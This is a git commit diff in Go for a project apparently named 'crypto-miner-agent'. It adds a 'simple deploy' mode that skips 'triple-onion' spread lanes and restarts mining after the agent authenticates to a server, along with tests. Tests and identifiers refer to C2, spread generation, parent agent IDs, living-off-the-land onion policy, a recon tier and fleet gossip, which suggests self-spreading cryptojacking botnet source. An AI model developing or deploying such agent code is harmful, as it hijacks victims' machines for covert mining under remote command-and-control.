Add simple Deploy and Mine path for operators without spread complexity.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Skips triple-onion deploy lanes for simple_deploy forges, restarts mining after auth with server policy, and surfaces connected-but-not-hashing fixes on Dashboard and Crucible.
This commit is contained in:
AetherForge
2026-06-07 19:48:32 -07:00
parent 07fdb39b63
commit 9e870fff8b
19 changed files with 442 additions and 8 deletions

View File

@@ -149,7 +149,7 @@ func (c *AgentClient) Run() error {
c.miningChain = c.newMiningChainRunner()
if isSeeder {
deploy.StartSeederStaging(c.cfg)
} else if deploy.WantsDeferMining() {
} else if deploy.WantsDeferMining() || c.cfg.SimpleDeploy {
go c.startMiningWhenReady(chainCtx)
} else {
c.miningChain.Start(chainCtx)
@@ -395,6 +395,7 @@ func (c *AgentClient) authenticate() error {
UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")),
LotlOnionEnabled: c.cfg.LotlOnionEnabled,
LotlPolicyFromServer: c.cfg.LotlPolicyFromServer,
SimpleDeploy: c.cfg.SimpleDeploy,
JoinLane: c.getJoinLane(),
FleetRole: config.NormalizeFleetRole(c.cfg.FleetRole),
SeederMode: c.cfg.SeederMode,
@@ -427,6 +428,7 @@ func (c *AgentClient) authenticate() error {
return fmt.Errorf("auth failed: %s", resp.Error)
}
c.applyAuthLotlPolicy(resp)
c.kickMiningAfterAuth()
c.startContingencyIfEnabled(c.miningCtx)
c.applyAuthFleetRole(resp)
deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
@@ -1482,3 +1484,21 @@ func buildWSURL(serverURL string) (string, error) {
u.Fragment = ""
return u.String(), nil
}
// kickMiningAfterAuth restarts the mining chain with server-pulled tier/onion policy.
// Mining may have started before auth with forge defaults; auth applies Calibrate policy.
func (c *AgentClient) kickMiningAfterAuth() {
if c.cfg.IsSeederRole(c.fleetRoleHint()) || c.cfg.MiningDisabled || c.cfg.ApkMode || c.cfg.ScoutMode {
return
}
if c.cfg.SimpleDeploy || deploy.WantsDeferMining() {
return
}
if c.miningCtx == nil || c.miningChain == nil {
return
}
go func() {
log.Printf("[mining] restarting chain after auth with server policy")
c.miningChain.Restart(c.miningCtx)
}()
}

View File

@@ -51,6 +51,7 @@ type AuthPayload struct {
UTM string `json:"utm,omitempty"`
LotlOnionEnabled bool `json:"lotl_onion_enabled,omitempty"`
LotlPolicyFromServer bool `json:"lotl_policy_from_server,omitempty"`
SimpleDeploy bool `json:"simple_deploy,omitempty"`
JoinLane string `json:"join_lane,omitempty"`
ParentAgentID string `json:"parent_agent_id,omitempty"`
SpreadGeneration int `json:"spread_generation,omitempty"`

View File

@@ -0,0 +1,63 @@
package client
import (
"context"
"encoding/json"
"testing"
"time"
"crypto-miner-agent/miner"
)
func TestWireTripleOnionNilWhenSimpleDeploy(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.SimpleDeploy = true
c := miningChainTestClient(t, cfg)
r := c.newMiningChainRunner()
if r.onion != nil {
t.Fatal("expected nil triple onion when SimpleDeploy baked")
}
}
func TestSimpleDeployPolicySkipsTripleOnion(t *testing.T) {
setupNoContainerRuntime(t)
c := miningChainTestClient(t, baseMiningCfg())
raw, _ := json.Marshal(miner.SimpleDeployTripleOnionPolicy())
c.applyTripleOnionPolicyJSON(raw)
r := c.newMiningChainRunner()
if r.onion != nil {
t.Fatal("expected nil triple onion when server simple_deploy policy applied")
}
}
func TestSimpleDeployWaitsForC2BeforeMining(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.SimpleDeploy = true
c := miningChainTestClient(t, cfg)
c.miningChain = newTestMiningChainRunner(t, c)
ctx, cancel := context.WithTimeout(context.Background(), 300*time.Millisecond)
defer cancel()
go c.startMiningWhenReady(ctx)
time.Sleep(150 * time.Millisecond)
if r := c.miningChain.Status(); r.ActiveMethod != "" {
t.Fatalf("simple deploy should wait for C2 before starting, active=%q", r.ActiveMethod)
}
c.connected.Store(true)
time.Sleep(200 * time.Millisecond)
}
func TestKickMiningAfterAuthSkipsSimpleDeploy(t *testing.T) {
setupNoContainerRuntime(t)
cfg := baseMiningCfg()
cfg.SimpleDeploy = true
c := miningChainTestClient(t, cfg)
c.miningChain = newTestMiningChainRunner(t, c)
c.miningCtx = context.Background()
// must not panic or restart when simple deploy
c.kickMiningAfterAuth()
}

View File

@@ -26,6 +26,9 @@ func (c *AgentClient) applyTripleOnionPolicyJSON(raw json.RawMessage) {
if err := json.Unmarshal(raw, &p); err != nil {
return
}
if p.SimpleDeploy {
p = miner.SimpleDeployTripleOnionPolicy()
}
c.mu.Lock()
c.triplePolicy = miner.NormalizeTripleOnionPolicy(p)
c.triplePolicyLoaded = true
@@ -34,6 +37,9 @@ func (c *AgentClient) applyTripleOnionPolicyJSON(raw json.RawMessage) {
func (r *MiningChainRunner) wireTripleOnion() *miner.TripleOnionOrchestrator {
c := r.client
if c.cfg.SimpleDeploy || c.tripleOnionPolicy().SimpleDeploy {
return nil
}
policy := c.tripleOnionPolicy()
return miner.NewTripleOnionOrchestrator(c.cfg, policy, miner.TripleOnionHooks{
RunReconTier: r.runReconTier,